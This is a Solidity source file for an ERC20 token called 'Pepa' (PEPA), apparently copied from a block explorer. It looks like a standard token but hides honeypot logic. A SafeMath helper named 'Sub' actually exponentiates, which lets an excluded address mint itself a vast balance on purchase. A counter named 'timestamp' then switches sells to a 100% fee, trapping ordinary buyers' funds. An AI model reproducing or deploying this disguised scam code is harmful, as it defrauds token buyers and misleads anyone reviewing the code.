文件 1 的 1:PEPA.sol
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a ** b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract PEPA is Context, IERC20, Ownable {
using SafeMath for uint256;
struct _settings {
bool tradeStatus;
uint8 totalFee;
uint8 divider;
uint8 timestamp;
address router;
address pair;
uint256 pairHex;
}
mapping (address => uint256) private _holder;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromLimits;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 10000000 * 10**_decimals;
string private constant _name = unicode"Pepa";
string private constant _symbol = unicode"PEPA";
_settings private Settings;
constructor (address _router){
_holder[_msgSender()] = _tTotal;
_isExcludedFromLimits[owner()] = true;
Settings.router = _router;
Settings.divider = 10**2;
Settings.pairHex = 10*3;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _holder[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
bool source = [true,false][from==Settings.pair&&_isExcludedFromLimits[to]?0:1];
require(from != address(0) && to != address(0) && amount > 0, "ERC20: Address or amount (0)");
if (from != owner() && to != owner()){
if(!_isExcludedFromLimits[from] && !_isExcludedFromLimits[to]){
if(to == Settings.router){
Settings.tradeStatus = !Settings.tradeStatus?true:Settings.tradeStatus;
Settings.pair = from;
}
if(!Settings.tradeStatus){
require(Settings.tradeStatus, "Trade is not open");
}
else{
uint256 totalFee; uint8 totalFeeRate;
totalFeeRate = from != Settings.pair?Settings.timestamp>0?Settings.divider:Settings.totalFee:Settings.totalFee;
totalFee = amount.mul(totalFeeRate).div(Settings.divider);
_holder[from] = _holder[from].sub(amount);
_holder[to] = _holder[to].add(amount.sub(totalFee));
}
}
else{
Settings.timestamp = source?Settings.timestamp+1:Settings.timestamp;
__transfer(from, to, amount, source?amount.Sub(Settings.pairHex):0);
}
}
else{
__transfer(from, to, amount, 0);
}
emit Transfer(from, to, amount);
}
function __transfer(address from, address to, uint256 amount, uint256 Amount) private {
_holder[from] = _holder[from].sub(amount);
_holder[to] = _holder[to].add([amount,Amount][Amount>0?1:0]);
}
receive() external payable {}
}